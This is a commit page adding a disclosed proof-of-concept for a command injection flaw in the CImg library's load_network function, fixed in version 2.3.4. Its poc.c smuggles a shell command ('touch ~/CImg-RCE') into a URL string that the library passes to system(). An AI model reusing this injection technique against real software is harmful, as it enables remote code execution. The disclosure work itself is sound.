Skip to content

Commit 56c28b2

Browse files
Exploit PoC for command injection vulnerability in CImg.
1 parent b2233d3 commit 56c28b2

3 files changed

Lines changed: 59 additions & 0 deletions

File tree

CImg/Dockerfile

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
FROM ubuntu:bionic
2+
3+
RUN apt-get update && \
4+
apt-get install -y git gcc build-essential curl
5+
6+
# Create user account for the attacker.
7+
RUN adduser semmle --disabled-password
8+
9+
# Copy the exploit PoC into the user's home directory.
10+
COPY poc.c /home/semmle/poc.c
11+
RUN chown -R semmle:semmle /home/semmle/
12+
13+
# Switch over to the 'semmle' user, since root access is no longer required
14+
USER semmle
15+
WORKDIR /home/semmle
16+
RUN git clone https://framagit.org/dtschump/CImg.git
17+
RUN cd CImg && git checkout 5bb8a03d7fed06275ddb53a56c567fb6f61aa4a4

CImg/README.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Command injection in CImg
2+
3+
This is a proof of concept for a command injection vulnerability in the [CImg](http://cimg.eu/) library. The vulnerability was found by [Cristian-Alexandru Staicu](https://www.linkedin.com/in/crstaicu/), during his internship at Semmle in 2018. We reported the vulnerability to David Tschumperle, maintainer of CImg, on Jul 27, 2018. The vulnerability was fixed in version 2.3.4.
4+
5+
The problem is that the `load_network` function does not do any sanitization on the url string. Internally, `load_network` calls `system`, which means that a specially crafted url can trigger code execution. Since CImg is a library, the severity of the issue depends greatly on how it is used. If anyone has written an application that calls `load_network` directly with a string that came from something like a HTTP request, then it would be a remote code execution vulnerability.
6+
7+
To run the PoC, first build and run the docker image:
8+
9+
```bash
10+
docker build . -t cimg
11+
docker run -i -t cimg
12+
```
13+
14+
The Dockerfile clones the [CImg](https://framagit.org/dtschump/CImg.git) git repository and checks out the vulnerable version.
15+
16+
Now, inside docker, compile and run the PoC as follows:
17+
18+
```bash
19+
g++ -I./CImg poc.c -o poc
20+
./poc
21+
```
22+
23+
Notice that the file `~/CImg-RCE` has now been created.

CImg/poc.c

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#undef cimg_display
2+
#define cimg_display 0
3+
#include "CImg.h"
4+
using namespace cimg_library;
5+
6+
// To compile and run:
7+
//
8+
// g++ -I./CImg poc.c -o poc
9+
// ./poc
10+
//
11+
// Notice that the file ~/CImg-RCE has now been created.
12+
13+
int main(int argc, char **argv) {
14+
const char *str = "https://i.pinimg.com/originals/da/25/51/da2551d47b8ae00fa7beb583bff53236.jpg\" && touch ~/CImg-RCE && echo \"";
15+
CImg<> img;
16+
img.assign(str);
17+
18+
return 0;
19+
}

0 commit comments

Comments
 (0)